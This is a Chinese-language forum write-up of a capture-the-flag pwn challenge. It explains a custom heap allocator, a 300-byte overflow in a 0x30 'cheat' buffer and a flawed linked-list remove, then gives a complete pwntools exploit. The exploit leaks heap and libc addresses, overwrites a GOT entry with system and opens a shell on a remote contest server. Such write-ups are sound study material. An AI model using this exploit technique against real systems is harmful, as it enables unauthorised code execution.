首页
论坛
课程
招聘
[原创]第7题—pwn
2017-11-6 23:56 1243

[原创]第7题—pwn

2017-11-6 23:56
1243

功能:

 1. 堆管理:实现了自己的堆管理,先用mmap申请0x1000大小的堆块,存于全局变量chunk0x1000ptr中,然后再从这个空间中分配小块,有0x10大小的头加上实际存储空间。实现了单链表结构,单链表的remove功能存在漏洞(sub_402BCC)。

 2. 登录和注册选项:

​        a. Signup:输入username/password/character’s name三个值进行存储。

​        b. Login:输入username/password和signup时存储的值进行比较,相等则进行下一步。

 3. 游戏选项:

​        先要打印location,这个值必须在0~6之间。

​       (1).Show my status:输出character的信息。

​       (2).View the items in the package:输出包里的某个物品,对某个物品可以remove。

​       (3).GO TO..:到某个地方。

​       (4).Explore here:开始探索这个地方,遇到item,可以选择捡起物品。

​       (5).cheat:这里会申请0x30的空间,但第二次输入时可输入300字节,有溢出。

      ​ (0).exit:回到上一菜单。

 4. 数据结构

            user
        ___________
      | head     |  
        ———————————
ptr —> |           |
        ————————————
      | username |
      |           |
        ————————————               character
      | password |           ______________
      |           |           |     head   |
        ————————————             ————————————
      | ptr |         ——————> |character_name|
      ———————                   ——————————————
                                |health|stamina|                     item
                                  ——————————————               ______________    
                                |wdight|location|             |   head     |  
                                  ——————————————               ——————————————
                                | items |         ————>     | type| weight|
                                  ———————                       ——————————————
                                                              | 1 | ptr   | ————> next item
                                                                ——————————————
                                                                |bullet| power|
                                                                ——————————————

漏洞:

      cheat选项的溢出,结合单链表的remove。



利用:

       signup,login,cheat,signup,login,这样就可以利用cheat选项覆盖后面的user/character/item结构。覆盖character的items指针,利用(1).Show my status泄露heap_addr和libc_addr。

       再构造character’s items ->fake_chunk_ptr-0x18(item1)>fake_chunk2(item2)->atoi_got(item3),利用remove选项去掉第2个item(单链表操作sub_402BCC),这样fake_chunk_ptr就指向了atoi_got,再利用cheat修改atoi_got处的值为system_addr,即可得到shell。


Exploit:


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

DEBUG = 0
if DEBUG:
   #p = process('./club')
   p = process(['./pwn'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
   #context.log_level = 'debug'
   libc = ELF('libc.so.6')#libc.so.6   #/lib/x86_64-linux-gnu/libc-2.24.so
else:
   p = remote('123.206.22.95', 8888)
   libc = ELF('libc.so.6')

def signup(p,username,password,charac):
   p.recvuntil('2.Signup\n')
   p.sendline(str('2'))
   p.recvuntil('username\n')
   p.send(username)
   p.recvuntil('password\n')
   p.send(password)
   p.recvuntil('s name\n')
   p.send(charac)

def login(p,username,password):
   p.recvuntil('2.Signup\n')
   p.sendline(str('1'))
   p.recvuntil('username:\n')
   p.send(username)
   p.recvuntil('password:\n')
   p.send(password)

def cheat1(p):
   p.recvuntil('0.exit\n')
   p.sendline('5')
   p.recvuntil('name:\n')
   p.sendline(p64(0)+p64(6)[:-1])
   p.recvuntil('content:\n')
   p.sendline('bbb')
   p.recvuntil('0.exit\n')
   p.sendline('0')

def cheat2(p,content):
   p.recvuntil('0.exit\n')
   p.sendline('5')
   p.recvuntil('content:\n')
   p.send(content)

def show_states(p):
   p.recvuntil('0.exit\n')
   p.sendline('1')

malloc_got=0x605070
heap_cheat_ptr=0x6050F0

signup(p,'1\n','2\n','1\n')
login(p,'1\n','2\n')
#gdb.attach(p,'b *0x402F84')
cheat1(p)
signup(p,'1\n','2\n','3\n')
login(p,'1\n','2\n')

payload='a'*32
fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(heap_cheat_ptr)
data=payload+fake_person+'\n'
cheat2(p,data)
show_states(p)
#print p.recv()
p.recvuntil('i,')
heap_cheat=u64(p.recvuntil('\n=')[:-2].ljust(8,'\x00'))

print hex(heap_cheat)#0x7f9d744110b0

fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(malloc_got)
data=payload+fake_person+'\n'
cheat2(p,data)
#print p.recv()
show_states(p)

p.recvuntil('i,')
malloc_addr=u64(p.recvuntil('\n=')[:-2].ljust(8,'\x00'))

print hex(malloc_addr)#0x7f9d744110b0
libc_base=malloc_addr-(0x7f068dcba130-0x00007f068dc36000)
print hex(libc_base)
system_addr=libc_base+libc.symbols['system']
print hex(system_addr)

payload=p64(1)+p64(heap_cheat+16+32+64+16+56+16)+p64(0)+p64(0)
fake_person=p64(1)+p64(64)+p64(0)+'a'.ljust(16,'\x00')+'b'.ljust(16,'\x00')+p64(heap_cheat+16+32+64+16)
print hex(heap_cheat+16+32+64+16)
fake_chara=p64(1)+p64(96)+'a'.ljust(16,'\x00')+p64(100)+p64(100)+p64(100)+p64(2)+p64(heap_cheat_ptr-24)
fake_good=p64(1)+p64(64)+p64(2)+p64(6)+p64(1)+p64(heap_cheat_ptr-16)+p64(0)
data=payload+fake_person+fake_chara+fake_good
#402FEF')
print len(data)
cheat2(p,data[:-1]+'\n')

#gdb.attach(p,'b*0x4030B4')
#
#show_states(p)
#gdb.attach(p)
print "11"
p.recvuntil('0.exit\n')
p.sendline('2')
p.recvuntil('Your Choice:\n')
p.sendline('3')
p.recvuntil('urn\n')
p.sendline('1')
p.recvuntil('urn\n')
p.sendline('2')
print "22"
p.recvuntil('Your Choice:\n')
p.sendline('2')
p.recvuntil('urn\n')
p.sendline('1')
p.recvuntil('urn\n')
p.sendline('2')

p.recvuntil('Your Choice:\n')
p.sendline('4')
print "123"
#p.recvuntil('0.exit\n')

cheat2(p,p64(0x605068)[:-1]+'\n')
#gdb.attach(p,'b*0x402FEF')
cheat2(p,p64(system_addr)[:-1]+'\n')
print "hh"
p.recvuntil('0.exit\n')
print "ee"
p.sendline('/bin/sh')
p.interactive()

看雪学院推出的专业资质证书《看雪安卓应用安全能力认证 v1.0》(中级和高级)!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回